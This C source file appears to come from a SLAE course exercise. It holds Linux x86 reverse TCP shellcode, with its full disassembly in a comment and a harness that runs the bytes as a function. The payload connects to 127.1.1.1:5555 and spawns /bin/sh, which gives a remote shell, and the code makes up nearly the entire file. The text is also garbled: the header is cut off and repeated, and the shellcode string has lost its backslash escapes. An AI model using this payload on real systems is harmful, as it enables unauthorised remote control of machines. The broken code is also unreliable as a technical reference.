/**
# Linux x86 Reverse TCP shellcode
# 127.1.1.1/5555
# Shellcode Author: Anurag Srivastava
# Shellcode Length: 73
# Student-ID: SLAE-1219
# Note ~ http://w /**
# Linux x86 Reverse TCP shellcode
# 127.1.1.1/5555
# Shellcode Author: Anurag Srivastava
# Shellcode Length: 73
# Student-ID: SLAE-1219
# Note ~ http://www.theanuragsrivastava.in/2018/04/reverse-tcp-shellcode-x86-slae.html


reverse: file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
8048060: 6a 66 push 0x66
8048062: 58 pop eax
8048063: 31 db xor ebx,ebx
8048065: 53 push ebx
8048066: 43 inc ebx
8048067: 53 push ebx
8048068: 6a 02 push 0x2
804806a: 89 e1 mov ecx,esp
804806c: 99 cdq
804806d: cd 80 int 0x80
804806f: 93 xchg ebx,eax
8048070: 59 pop ecx

08048071 <loop>:
8048071: 6a 3f push 0x3f
8048073: 58 pop eax
8048074: cd 80 int 0x80
8048076: 49 dec ecx
8048077: 79 f8 jns 8048071 <loop>
8048079: 68 7f 01 01 01 push 0x101017f
804807e: 66 68 15 b3 pushw 0xb315
8048082: 66 6a 02 pushw 0x2
8048085: 89 e1 mov ecx,esp
8048087: 6a 10 push 0x10
8048089: 51 push ecx
804808a: 53 push ebx
804808b: 89 e1 mov ecx,esp
804808d: 6a 66 push 0x66
804808f: 58 pop eax
8048090: 6a 03 push 0x3
8048092: 5b pop ebx
8048093: cd 80 int 0x80
8048095: 31 c9 xor ecx,ecx
8048097: 51 push ecx
8048098: 6a 0b push 0xb
804809a: 58 pop eax
804809b: 68 2f 2f 73 68 push 0x68732f2f
80480a0: 68 2f 62 69 6e push 0x6e69622f
80480a5: 89 e3 mov ebx,esp
80480a7: cd 80 int 0x80

**/

#include<stdio.h>
#include<string.h>
unsigned char code[] =
"x6ax66x58x31xdbx53x43x53x6ax02x89xe1x99xcdx80x93x59x6ax3fx58xcdx80x49x79xf8x68x7fx01x01x01x66x68x15xb3x66x6ax02x89xe1x6ax10x51x53x89xe1x6ax66x58x6ax03x5bxcdx80x31xc9x51x6ax0bx58x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80";
main()
{
printf("Shellcode Length: %d ", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}